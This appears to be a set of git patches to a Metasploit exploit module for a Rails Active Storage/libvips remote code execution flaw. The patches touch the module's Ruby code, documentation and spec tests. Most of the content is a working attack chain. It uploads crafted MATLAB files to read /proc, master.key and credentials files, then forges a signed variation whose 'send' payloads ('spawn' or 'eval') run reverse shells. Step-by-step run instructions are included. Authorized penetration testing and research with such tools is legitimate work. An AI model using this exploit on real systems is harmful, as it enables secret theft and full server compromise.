Metrics/BlockLength From 92fd3b3b5c954893ab3b378374aff3b40dd8dd1e Mon Sep 17 00:00:00 2001 From: Jonah Burgess <12751872+Crypto-Cat@users.noreply.github.com> Date: Fri, 31 Jul 2026 10:27:25 +0100 Subject: [PATCH 4/9] Improve Rails Active Storage Vips RCE module reliability --- .../http/rails_activestorage_vips_rce.md | 114 ++++++++++-------- .../http/rails_activestorage_vips_rce.rb | 85 +++++++++---- .../http/rails_activestorage_vips_rce_spec.rb | 37 +++++- 3 files changed, 160 insertions(+), 76 deletions(-) diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md index 87f8ba6fc675f..6eecc09516866 100644 --- a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -25,24 +25,32 @@ block the affected operations. `image_processing` 2.0 and later also blocks untrusted Vips operations when its Vips backend loads. This module additionally requires a libvips build with MATLAB/libmatio support, -an upload path reachable by the operator, and access to an Active Storage direct -upload endpoint. Debian Bookworm's `libvips-dev` package provides the loader used +access to the standard Active Storage direct upload endpoint, and a genuine +signed variation key scraped from any page that renders an Active Storage +representation. Debian Bookworm's `libvips-dev` package provides the loader used by the tested setup. ### File-read transport -The CVE affects both the Active Storage Vips analyzer and transformer. Merely -accepting an attachment can therefore reach the vulnerable loader; requesting a -variant is not a prerequisite for every application-specific attack. Standard -Active Storage routes do not expose analyzed blob metadata, however, so this -generic module uses a representation response as its exfiltration channel. - -For automatic secret recovery, the module needs a valid Active Storage -representation path. It can use `REPRESENTATIONURI`, find one on `LANDINGURI`, -or attach a safe PNG through the application's form and extract the resulting -path. Active Storage variation tokens are application-wide rather than bound to -one blob. The module retains the valid variation token while replacing the blob -ID with the signed ID of each crafted direct upload. +The official forensic reference chain used by this module is +representation-based. The Rails advisory's affected-application criteria are +broader and explicitly say that generating variants is not a separate +requirement. In the concrete chain reproduced here, the attacker first creates +an unattached blob through `POST /rails/active_storage/direct_uploads`, which is +the only standard upload path that persists the client-declared content type +without Marcel re-identifying the bytes. The crafted blob is declared as +`image/png`, while its bytes are a structurally inconsistent MATLAB v7.3/HDF5 +file. Rails trusts the database content type for `Blob#variable?`; libvips later +selects `matload` from the file magic. + +The attacker also needs a genuine signed `variation_key` from any existing +representation. Rails resolves the signed blob ID and signed variation key +independently, so any valid variation key composes with any signed blob ID. The +module accepts a key directly through `VARIATION_KEY`, can reuse the key from +`REPRESENTATIONURI` or `LANDINGURI`, and retains the older safe-form submission +fallback for applications where the operator does not already have a key. +Active Storage mounts the direct-upload route by default even when the +application UI does not use direct uploads. The generated MATLAB files define square `uint8` datasets. Alternating columns come from the target file and `/dev/zero`, with a zero boundary around the @@ -61,8 +69,8 @@ is labelled accordingly. Cropping, scaling below 16x16, lossy output, rotation, or other destructive transformations can prevent this transport from recovering bytes. This does not -show that the application is unaffected; an application-specific analyzer -metadata channel or another Vips operation may still expose the CVE. +show that the application is unaffected; it only means that the selected +variation key is not a usable exfiltration transform for this module. Without a supplied secret, the `check` method actively uploads crafted files and confirms exploitation by recovering `Linux version ` from `/proc/version`. @@ -106,8 +114,8 @@ Naming that public operation `send` invokes inherited `Kernel#send`; its first argument then invokes private `Kernel#spawn` (command targets) or `Kernel#eval` (the Ruby target). The `spawn` form starts the command asynchronously and avoids blocking the representation worker. The `eval` form -runs a native Ruby payload directly inside the Rails worker with no dependency -on a Unix shell or any external command; the transformation then returns a +runs a native Ruby payload directly inside the Rails worker without first +invoking `/bin/sh` or a fetch utility; the transformation then returns a non-image value, so the representation request ends in an HTTP 500 after the payload has already executed. Ruby payloads default `PrependFork` to true, so the session forks out of the request worker. Both forms work throughout the @@ -124,9 +132,7 @@ String values. This is not a Marshal object gadget and no target-controlled value is passed to `Marshal.load` by the module. Rails configurations using the MessagePack serializer are recognized automatically and accept the serializer's JSON fallback. The execution primitive remains native to the Rails application -stack and requires no additional gadget-library dependency. The vulnerability's -original researchers had not disclosed their own file-read or RCE construction -when this module was developed. +stack and requires no additional gadget-library dependency. When `SECRET_KEY_BASE` is supplied, the module directly uploads a safe PNG and uses its valid signed blob ID to determine the key-generator and verifier @@ -296,19 +302,22 @@ The form is available at `http://127.0.0.1:3003/`. 1. Run `set RHOSTS 127.0.0.1`. 1. Run `set RPORT 3003`. 1. Run `set TARGETURI /`. -1. Run `set LANDINGURI /`. -1. Run `set SUBMITURI /posts`. -1. Run `set ATTACHMENT_FIELD post[image]`. +1. Set `VARIATION_KEY` to a genuine signed key scraped from any rendered Active + Storage representation, or configure `LANDINGURI` / `REPRESENTATIONURI` so + the module can obtain one. 1. Configure `LHOST` and any other options required by the default reverse Bash payload, select target 1 for the default Linux Meterpreter fetch payload, or - select target 2 for a native Ruby payload that needs no shell on the target. + select target 2 for a native Ruby payload whose initial execution does not + require `/bin/sh` or a fetch utility. 1. Run `check` to confirm the representation-based file read. 1. Run `run`. If `secret_key_base` is already known, set `SECRET_KEY_BASE`. The module then -does not require `SUBMITURI`, `ATTACHMENT_FIELD`, or a pre-existing -representation, but it still requires the direct upload endpoint and a CSRF -token. +does not require `VARIATION_KEY`, `SUBMITURI`, `ATTACHMENT_FIELD`, or a +pre-existing representation, but it still requires the direct upload endpoint +and a CSRF token. This is a post-compromise shortcut rather than a CVE check: +known-secret mode can execute on a patched Rails target because it skips the +file-read stage entirely. Automatic file-read and secret recovery use Linux procfs. For a non-Linux Unix target, supply `SECRET_KEY_BASE` and select a compatible command payload. @@ -331,40 +340,40 @@ and execution in `FETCH_WRITABLE_DIR`. ### 2 (Ruby) Executes a native `ARCH_RUBY` payload through `Kernel#eval` inside the Rails -worker. The default payload is `ruby/shell_reverse_tcp`. This target needs -nothing on the host but the Ruby interpreter already running the application, so -it is the universal option for hardened or minimal deployments that ship no -shell and no external fetch utility. The command targets remain preferable when -a shell is available because they unlock the full `cmd/unix` payload catalogue, -including native Meterpreter via target 1. Ruby payloads default `PrependFork` -to true, so the session forks out of the request worker while the triggering -representation request returns an HTTP 500. +worker. The default payload is `ruby/shell_reverse_tcp`. This target reaches +`Kernel#eval` without first invoking `/bin/sh` or a fetch utility. The command +targets remain preferable when a shell is available because they unlock the +full `cmd/unix` payload catalogue, including native Meterpreter via target 1. +Ruby payloads default `PrependFork` to true, so the session forks out of the +request worker while the triggering representation request returns an HTTP 500. ## Options ### LANDINGURI -A page containing a CSRF meta or form token. In automatic recovery mode, the -module also searches this page for an existing representation. Default: `/`. +A page containing a CSRF meta or form token. When `VARIATION_KEY` and +`REPRESENTATIONURI` are unset, the module also searches this page for an +existing representation. Default: `/`. ### SUBMITURI The application endpoint that accepts the safe attachment form submission when the module needs to create a representation path. Its response must contain the -resulting representation image. This option is not used when -`SECRET_KEY_BASE` is supplied. Default: `/posts`. +resulting representation image. This option is only used when +`VARIATION_KEY`, `REPRESENTATIONURI`, and `SECRET_KEY_BASE` are all unset. +Default: `/posts`. ### DIRECTUPLOADURI -The Active Storage direct-upload creation endpoint. When `SECRET_KEY_BASE` is -supplied, this path must end in `/direct_uploads` so the module can derive the -standard representation route prefix. Default: +The Active Storage direct-upload creation endpoint. When `VARIATION_KEY` or +`SECRET_KEY_BASE` is supplied, this path must end in `/direct_uploads` so the +module can derive the standard representation route prefix. Default: `/rails/active_storage/direct_uploads`. ### ATTACHMENT_FIELD The form field that accepts the direct upload's signed blob ID at `SUBMITURI`. -Default: `post[image]`. +This is only used by the safe-form fallback. Default: `post[image]`. ### REPRESENTATION_INDEX @@ -376,8 +385,15 @@ representation images. Default: `0`. An existing Active Storage representation URL or path. Modern `/representations/redirect/` and `/representations/proxy/` routes and the Rails 6.0 legacy `/representations/` route are supported. This bypasses the safe form -submission in automatic recovery mode. It is not needed when `SECRET_KEY_BASE` -is supplied. +submission in automatic recovery mode. It is not needed when `VARIATION_KEY` or +`SECRET_KEY_BASE` is supplied. + +### VARIATION_KEY + +A genuine signed Active Storage variation key scraped from any rendered +representation. The key is not bound to the source blob, so the module can pair +it with each crafted direct-upload blob and construct the standard redirect or +legacy representation route itself. ### SECRET_KEY_BASE @@ -433,8 +449,8 @@ Default: `262144`. ## Side Effects `check` is active: it creates direct-upload blobs and representation variants. -Without `SECRET_KEY_BASE`, it recovers `/proc/version`; if the application does -not already expose a representation, it also creates a safe attachment and +Without `SECRET_KEY_BASE`, it recovers `/proc/version`; if no variation key or +representation is supplied or exposed, it also creates a safe attachment and application record to obtain one. With `SECRET_KEY_BASE`, it requests only a benign signed PNG representation and does not test arbitrary file read. @@ -532,7 +548,7 @@ msf6 exploit(multi/http/rails_activestorage_vips_rce) > run msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -c id [*] Running 'id' on shell session 1 (127.0.0.1) -uid=0(root) gid=0(root) groups=0(root) +uid=1000(rails) gid=1000(rails) groups=1000(rails) ``` The HTTP 500 is expected: the `eval` operation returns a non-image value, so the diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb index 3077911047a6e..9334d801532e4 100644 --- a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -217,14 +217,14 @@ def initialize(info = {}) forges a serializer-compatible variation whose ImageProcessing operation dispatch invokes Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when the Ruby target is selected. Neither gadget requires a Marshal object - gadget or MiniMagick, and the Ruby target does not require a Unix shell or any - external command on the target. The original researchers have not disclosed their - file-read construction or RCE chain. - - The generic exfiltration transport requires a valid Active Storage representation - path. It can reuse one from the application or create one through an application - upload form. Supplying SECRET_KEY_BASE removes that requirement: the module can - create a safe blob and construct the standard representation route itself. + gadget or MiniMagick. The Ruby target's initial code execution does not require a + Unix shell or a fetch utility on the target. + + The file-read stage needs a genuine signed Active Storage variation key. It can use + VARIATION_KEY directly, reuse a representation URL from the application, or create + one through an application upload form. Supplying SECRET_KEY_BASE skips file-based + secret recovery and lets the module construct the standard representation route + itself. }, 'Author' => [ '0xacb', @@ -238,7 +238,9 @@ def initialize(info = {}) ['CVE', '2026-66066'], ['GHSA', 'xr9x-r78c-5hrm'], ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-rails-rce-cve-2026-66066'], - ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'] + ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'], + ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'], + ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066'] ], 'DisclosureDate' => '2026-07-29', 'Privileged' => false, @@ -272,10 +274,9 @@ def initialize(info = {}) # full cmd/unix payload catalogue, including native Meterpreter via the fetch # target, so they remain the default. The Ruby target dispatches Kernel#eval # with a native Ruby payload and needs nothing on the target but the Ruby - # interpreter already running the Rails worker, which makes it the universal - # option for hardened or minimal deployments that ship no shell. Ruby payloads - # default PrependFork to true, so the reverse shell forks out of the request - # worker while the representation request returns an error. + # interpreter already running the Rails worker. Ruby payloads default PrependFork + # to true, so the reverse shell forks out of the request worker while the + # representation request returns an error. [ 'Ruby', { @@ -309,6 +310,7 @@ def initialize(info = {}) OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']), OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]), OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]), + OptString.new('VARIATION_KEY', [false, 'Known signed Active Storage variation key', nil]), OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips file-based secret recovery', nil]), OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]), OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]), @@ -446,7 +448,7 @@ def detect_read_context until candidates.empty? layout = candidates.shift begin - read = file_read_once(layout, '/proc/version', 0, "probe_#{layout[:dimension]}.bmp") + read = file_read_once(layout, '/proc/version', 0, "probe_#{layout[:dimension]}.png") if read[:width] != layout[:dimension] || read[:height] != layout[:dimension] observed_limit = [read[:width], read[:height]].min candidates.select! { |candidate| candidate[:dimension] <= observed_limit } if observed_limit.positive? @@ -475,17 +477,44 @@ def file_read_once(layout, external_path, external_offset, filename) signed_id = direct_upload( csrf_token: csrf_token, filename: filename, - content_type: 'image/bmp', + content_type: 'image/png', content: patch_hdf5_template(layout, external_path, external_offset) ) - representation_path = substitute_representation_blob(base_representation_path, signed_id, filename) - res = request_representation(representation_path) + representation_path, res = request_crafted_representation(signed_id, filename) raise FlowError, 'No response while requesting the crafted representation' unless res raise TriggerError, "Crafted representation returned HTTP #{res.code}" unless res.code == 200 PngDecoder.decode(res.body.to_s.b).merge(path: representation_path, signed_id: signed_id) end + def request_crafted_representation(signed_id, filename) + if datastore['VARIATION_KEY'].present? + return request_variation_key_representation(signed_id, filename) + end + + path = substitute_representation_blob(base_representation_path, signed_id, filename) + [path, request_representation(path)] + end + + def request_variation_key_representation(signed_id, filename) + routes = @variation_key_route ? [@variation_key_route] : %i[redirect legacy] + statuses = {} + + routes.each do |route| + path = standard_representation_path(signed_id, datastore['VARIATION_KEY'], filename, route: route) + res = request_representation(path) + if res&.code == 200 && res.body.to_s.b.start_with?(PngDecoder::PNG_SIGNATURE) + @variation_key_route = route + return [path, res] + end + + statuses[route] = res&.code + end + + details = statuses.map { |route, status| "#{route}: #{status ? "HTTP #{status}" : 'no response'}" }.join(', ') + raise TriggerError, "Crafted representation did not return a PNG image through a standard Active Storage route (#{details})" + end + def read_text_file(context, external_path, max_bytes:, filename:, stop_when: nil, allow_partial: false) combined = String.new.b offset = 0 @@ -720,7 +749,7 @@ def forged_representation_path(context, transformations) def recover_secret_key_base(context) LOCAL_SECRET_PATHS.each do |path| - bytes = try_read_text_file(context, path, max_bytes: 512, filename: 'local_secret.bmp') + bytes = try_read_text_file(context, path, max_bytes: 512, filename: 'local_secret.png') next unless bytes candidate = validated_secret_candidate(trim_external_bytes(bytes), path, context[:representation][:signed_id]) @@ -736,7 +765,7 @@ def recover_secret_key_base(context) context, path, max_bytes: datastore['EnvironmentMaxBytes'], - filename: 'environment.bmp', + filename: 'environment.png', stop_when: lambda { |candidate_bytes| environment_contains_usable_key?(candidate_bytes, path, context[:representation][:signed_id]) do |candidate| validated_environment_secret = candidate @@ -779,7 +808,7 @@ def recover_secret_key_base(context) credential_environments.each do |environment| key_path = "/proc/self/cwd/config/credentials/#{environment}.key" - bytes = try_read_text_file(context, key_path, max_bytes: 128, filename: "#{environment}_key.bmp") + bytes = try_read_text_file(context, key_path, max_bytes: 128, filename: "#{environment}_key.png") next unless bytes key = trim_external_bytes(bytes) @@ -787,7 +816,7 @@ def recover_secret_key_base(context) end master_key_path = '/proc/self/cwd/config/master.key' - bytes = try_read_text_file(context, master_key_path, max_bytes: 128, filename: 'master_key.bmp') + bytes = try_read_text_file(context, master_key_path, max_bytes: 128, filename: 'master_key.png') if bytes key = trim_external_bytes(bytes) master_keys << [key, master_key_path] if valid_master_key?(key) @@ -804,7 +833,7 @@ def recover_secret_key_base(context) context, path, max_bytes: datastore['CredentialsMaxBytes'], - filename: 'credentials.bmp' + filename: 'credentials.png' ) next unless encrypted @@ -835,7 +864,7 @@ def recover_secret_key_base(context) # config/secrets.yml.key or RAILS_MASTER_KEY. Both files are environment-keyed. def recover_legacy_secrets(context, environments, master_keys) plaintext_path = '/proc/self/cwd/config/secrets.yml' - bytes = try_read_text_file(context, plaintext_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets.bmp') + bytes = try_read_text_file(context, plaintext_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets.png') if bytes secret = extract_secret_key_base_from_secrets_yaml(trim_external_bytes(bytes), environments) if secret @@ -845,7 +874,7 @@ def recover_legacy_secrets(context, environments, master_keys) end encrypted_path = '/proc/self/cwd/config/secrets.yml.enc' - encrypted = try_read_text_file(context, encrypted_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets_enc.bmp') + encrypted = try_read_text_file(context, encrypted_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets_enc.png') return nil unless encrypted encrypted = trim_external_bytes(encrypted) @@ -865,7 +894,7 @@ def recover_legacy_secrets(context, environments, master_keys) def legacy_secrets_keys(context, master_keys) keys = master_keys.dup secrets_key_path = '/proc/self/cwd/config/secrets.yml.key' - bytes = try_read_text_file(context, secrets_key_path, max_bytes: 128, filename: 'secrets_key.bmp') + bytes = try_read_text_file(context, secrets_key_path, max_bytes: 128, filename: 'secrets_key.png') if bytes key = trim_external_bytes(bytes) keys << [key, secrets_key_path] if valid_master_key?(key) @@ -1208,6 +1237,10 @@ def representation_path?(path) def base_representation_path return @base_representation_path if @base_representation_path + if datastore['VARIATION_KEY'].present? + raise FlowError, 'VARIATION_KEY is handled through standard Active Storage representation routes' + end + if datastore['REPRESENTATIONURI'].present? @base_representation_path = select_representation_path([datastore['REPRESENTATIONURI']], 'REPRESENTATIONURI') print_status('Using the operator-supplied Active Storage representation URL') @@ -1504,7 +1537,7 @@ def standard_representation_path(signed_id, variation, filename, route: :redirec direct_upload_path = URI.parse(app_uri(datastore['DIRECTUPLOADURI'])).path suffix = '/direct_uploads' unless direct_upload_path.end_with?(suffix) - raise ConfigError, 'DIRECTUPLOADURI must end in /direct_uploads when SECRET_KEY_BASE is supplied' + raise ConfigError, 'DIRECTUPLOADURI must end in /direct_uploads when constructing a standard representation route' end prefix = direct_upload_path.delete_suffix(suffix) diff --git a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb index 27f6994ecb61d..e7fa1f2dc0315 100644 --- a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb +++ b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb @@ -501,6 +501,41 @@ def striped_pixels(layout, source) end end + describe '#request_variation_key_representation' do + before do + exploit.datastore['VARIATION_KEY'] = 'variation' + end + + it 'falls back to and retains the Rails 6.0 legacy route for crafted reads' do + allow(exploit).to receive(:request_representation) + .with('/rails/active_storage/representations/redirect/blob/variation/read.png') + .and_return(http_response(404)) + allow(exploit).to receive(:request_representation) + .with('/rails/active_storage/representations/blob/variation/read.png') + .and_return(http_response(200, body: png_signature)) + + first_path, first_response = exploit.send(:request_variation_key_representation, 'blob', 'read.png') + + expect(first_path).to eq('/rails/active_storage/representations/blob/variation/read.png') + expect(first_response.code).to eq(200) + expect(exploit.instance_variable_get(:@variation_key_route)).to eq(:legacy) + + expect(exploit).to receive(:request_representation) + .with('/rails/active_storage/representations/blob/variation/next.png') + .and_return(http_response(200, body: png_signature)) + second_path, = exploit.send(:request_variation_key_representation, 'blob', 'next.png') + + expect(second_path).to eq('/rails/active_storage/representations/blob/variation/next.png') + end + + it 'does not consult the application representation workflow when a key is supplied' do + expect(exploit).not_to receive(:base_representation_path) + allow(exploit).to receive(:request_variation_key_representation).with('blob', 'read.png').and_return(['/path', http_response(200)]) + + expect(exploit.send(:request_crafted_representation, 'blob', 'read.png').first).to eq('/path') + end + end + describe '#request_representation' do before do exploit.datastore['RHOST'] = 'app.example' @@ -765,7 +800,7 @@ def secrets_yml_enc(yaml, key_hex) end describe '#variation_transformations' do - before { allow(exploit).to receive(:payload).and_return(instance_double(Msf::Payload, encoded: 'PAYLOAD')) } + before { allow(exploit).to receive(:payload).and_return(double('payload', encoded: 'PAYLOAD')) } it 'dispatches Kernel#spawn for the default command target' do exploit.datastore['TARGET'] = 0 From 65078a4e1c44c8a5c051b44b737cc47474e4bd92 Mon Sep 17 00:00:00 2001 From: Jonah Burgess <12751872+Crypto-Cat@users.noreply.github.com> Date: Fri, 31 Jul 2026 12:04:49 +0100 Subject: [PATCH 5/9] clarified wording --- .../http/rails_activestorage_vips_rce.md | 40 ++++++++++--------- .../http/rails_activestorage_vips_rce.rb | 23 ++++++----- 2 files changed, 33 insertions(+), 30 deletions(-) diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md index 6eecc09516866..f58d294bad5d9 100644 --- a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -100,29 +100,31 @@ Storage blob ID. Process environment data recovered during exploitation is stored as Metasploit loot. The RCE stage uses a signed Rails/ActiveSupport variation and -ImageProcessing operation dispatch. ImageProcessing 1.2 through 1.14 accept a -transformation equivalent to one of: +ImageProcessing's chain builder. The reviewed ImageProcessing 1.x releases +accept a transformation equivalent to one of: ```json {"send":["spawn","/bin/sh","-c",""]} {"send":["eval",""]} ``` -The ImageProcessing 1.x transformation dispatcher invokes the supplied -operation name, using `send` in early releases and `public_send` in later ones. -Naming that public operation `send` invokes inherited `Kernel#send`; its first -argument then invokes private `Kernel#spawn` (command targets) or -`Kernel#eval` (the Ruby target). The `spawn` form starts the command -asynchronously and avoids blocking the representation worker. The `eval` form -runs a native Ruby payload directly inside the Rails worker without first -invoking `/bin/sh` or a fetch utility; the transformation then returns a -non-image value, so the representation request ends in an HTTP 500 after the -payload has already executed. Ruby payloads default `PrependFork` to true, so -the session forks out of the request worker. Both forms work throughout the -ImageProcessing 1.x versions relevant to affected Rails applications; no -version-specific direct-`spawn` fallback is needed. ImageProcessing 2.0 and -later block the untrusted libvips loader used for the file-read stage and are -outside this module's exploitable configuration. +During `ImageProcessing::Chainable#apply`, image_processing invokes the +supplied transformation name on the builder, using `send` in earlier 1.x +releases and `public_send` in later 1.x releases. Naming that operation `send` +invokes inherited public `Kernel#send`; its first argument then invokes private +`Kernel#spawn` (command targets) or `Kernel#eval` (the Ruby target). Execution +happens while the pipeline is being built, before processor operations run. The +`spawn` form starts the command asynchronously and avoids blocking the +representation worker. The `eval` form runs a native Ruby payload directly +inside the Rails worker without first invoking `/bin/sh` or a fetch utility. +The apply step then returns the result of `spawn` or `eval` instead of a builder, +so the representation request ends in an HTTP 500 after the payload has already +executed. Ruby payloads default `PrependFork` to true, so the session forks out +of the request worker. The same `send` surface is present in the ImageProcessing +1.x releases reviewed for this module, and no version-specific direct-`spawn` +fallback is needed for the tested targets. ImageProcessing 2.0 and later block +the untrusted libvips loader used for the file-read stage and are outside this +module's exploitable configuration. The module detects the ActiveSupport message format from a genuine signed blob ID. Modern Rails versions normally use JSON. Older affected versions can @@ -458,8 +460,8 @@ Exploitation creates more blobs and variants for file chunks. The module does not remove database records or objects from the configured Active Storage service. Requests can appear in Rails, reverse-proxy, job, and object-storage logs. Environment bytes are stored locally as Metasploit loot. Successful -exploitation starts a child process with `Kernel#spawn`, and the payload may -make an outbound connection. +command-target exploitation starts a child process with `Kernel#spawn`, and the +payload may make an outbound connection. The primary advisory is [GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm). diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb index 9334d801532e4..c64a0918c4b95 100644 --- a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -214,11 +214,11 @@ def initialize(info = {}) The module recovers secret_key_base from the process environment, Rails local secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then - forges a serializer-compatible variation whose ImageProcessing operation dispatch - invokes Kernel#spawn with a command payload, or Kernel#eval with a native Ruby - payload when the Ruby target is selected. Neither gadget requires a Marshal object - gadget or MiniMagick. The Ruby target's initial code execution does not require a - Unix shell or a fetch utility on the target. + forges a serializer-compatible variation whose ImageProcessing apply step reaches + Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when + the Ruby target is selected. Neither path requires a Marshal object gadget. The + Ruby target's initial code execution does not require a Unix shell or a fetch + utility on the target. The file-read stage needs a genuine signed Active Storage variation key. It can use VARIATION_KEY directly, reuse a representation URL from the application, or create @@ -270,9 +270,9 @@ def initialize(info = {}) } } ], - # The command targets dispatch Kernel#spawn through /bin/sh and unlock the + # The command targets reach Kernel#spawn through /bin/sh and unlock the # full cmd/unix payload catalogue, including native Meterpreter via the fetch - # target, so they remain the default. The Ruby target dispatches Kernel#eval + # target, so they remain the default. The Ruby target reaches Kernel#eval # with a native Ruby payload and needs nothing on the target but the Ruby # interpreter already running the Rails worker. Ruby payloads default PrependFork # to true, so the reverse shell forks out of the request worker while the @@ -1158,10 +1158,11 @@ def command_transformations(command) } end - # The Ruby target dispatches ImageProcessing::Vips#send('eval', ruby), which - # reaches Kernel#eval and runs the payload directly in the Rails worker. The - # transformation then returns a non-image value, so the representation request - # ends in an error after the payload has already executed. + # ImageProcessing::Chainable#apply invokes the builder's inherited send method + # while constructing the pipeline, so send('eval', ruby) reaches Kernel#eval + # and runs the payload directly in the Rails worker. The apply step then + # returns a non-builder value, so the representation request ends in an error + # after the payload has already executed. def ruby_transformations(ruby) { 'send' => ['eval', ruby] From 3e5c8744ac01b07e89d5cc2a01d2b4b2231af39c Mon Sep 17 00:00:00 2001 From: Jonah Burgess <12751872+Crypto-Cat@users.noreply.github.com> Date: Fri, 31 Jul 2026 13:33:00 +0100 Subject: [PATCH 6/9] Updated as Ethiack released their technical analysis --- .../multi/http/rails_activestorage_vips_rce.md | 12 ++++++++++++ .../multi/http/rails_activestorage_vips_rce.rb | 2 +- 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md index f58d294bad5d9..88c299b33aec7 100644 --- a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -72,6 +72,13 @@ transformations can prevent this transport from recovering bytes. This does not show that the application is unaffected; it only means that the selected variation key is not a usable exfiltration transform for this module. +Rails' forensic material also documents a `MATLAB_empty` dimension-encoding +variant in which external bytes surface as image width and height instead of +pixels. That path can survive transforms that destroy pixel values, but it is a +much narrower channel and is not a reliable generic replacement for a returned +representation. The module intentionally keeps the larger representation-based +pixel transport rather than adding a second metadata-only read path. + Without a supplied secret, the `check` method actively uploads crafted files and confirms exploitation by recovering `Linux version ` from `/proc/version`. It returns `Vulnerable` only after that file read succeeds. With @@ -108,6 +115,11 @@ accept a transformation equivalent to one of: {"send":["eval",""]} ``` +The reporting researchers' public write-up uses `instance_eval` for the same +Vips-side transformation-validation gap. This module keeps `send/spawn` and +`send/eval` because they map directly onto Metasploit command and Ruby targets +and do not require an output-file round trip. + During `ImageProcessing::Chainable#apply`, image_processing invokes the supplied transformation name on the builder, using `send` in earlier 1.x releases and `public_send` in later 1.x releases. Naming that operation `send` diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb index c64a0918c4b95..e4ea8e28bb79c 100644 --- a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -237,7 +237,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2026-66066'], ['GHSA', 'xr9x-r78c-5hrm'], - ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-rails-rce-cve-2026-66066'], + ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'], ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'], ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'], ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066'] From c87699482744c328ef67c5e9d277711ec5003798 Mon Sep 17 00:00:00 2001 From: Jonah Burgess <12751872+Crypto-Cat@users.noreply.github.com> Date: Thu, 6 Aug 2026 16:29:35 +0100 Subject: [PATCH 7/9] Improve Rails Active Storage Vips exploit reliability / adherence to MSF conventions + best practices --- .../http/rails_activestorage_vips_rce.md | 189 ++++++++----- .../http/rails_activestorage_vips_rce.rb | 164 +++++++---- .../http/rails_activestorage_vips_rce_spec.rb | 262 +++++++++++++++++- 3 files changed, 488 insertions(+), 127 deletions(-) diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md index 88c299b33aec7..997b7b03669be 100644 --- a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -138,6 +138,11 @@ fallback is needed for the tested targets. ImageProcessing 2.0 and later block the untrusted libvips loader used for the file-read stage and are outside this module's exploitable configuration. +Rapid7's technical analysis documents the module's tested Rails version matrix +and the `send`/`spawn` and `send`/`eval` paths. The separate Rails Vips +transformation-validation gap is also tracked in Rails pull request 56995; that +open discussion is not a released fix for CVE-2026-66066. + The module detects the ActiveSupport message format from a genuine signed blob ID. Modern Rails versions normally use JSON. Older affected versions can require Marshal as the signed-message serialization transport; in that case the @@ -308,6 +313,12 @@ docker run --rm --name rails-vips-cve-2026-66066 \ The form is available at `http://127.0.0.1:3003/`. +Stop and remove the lab when testing is complete: + +```bash +docker stop rails-vips-cve-2026-66066 +``` + ## Verification Steps 1. Start the vulnerable lab or another authorized target. @@ -316,9 +327,10 @@ The form is available at `http://127.0.0.1:3003/`. 1. Run `set RHOSTS 127.0.0.1`. 1. Run `set RPORT 3003`. 1. Run `set TARGETURI /`. -1. Set 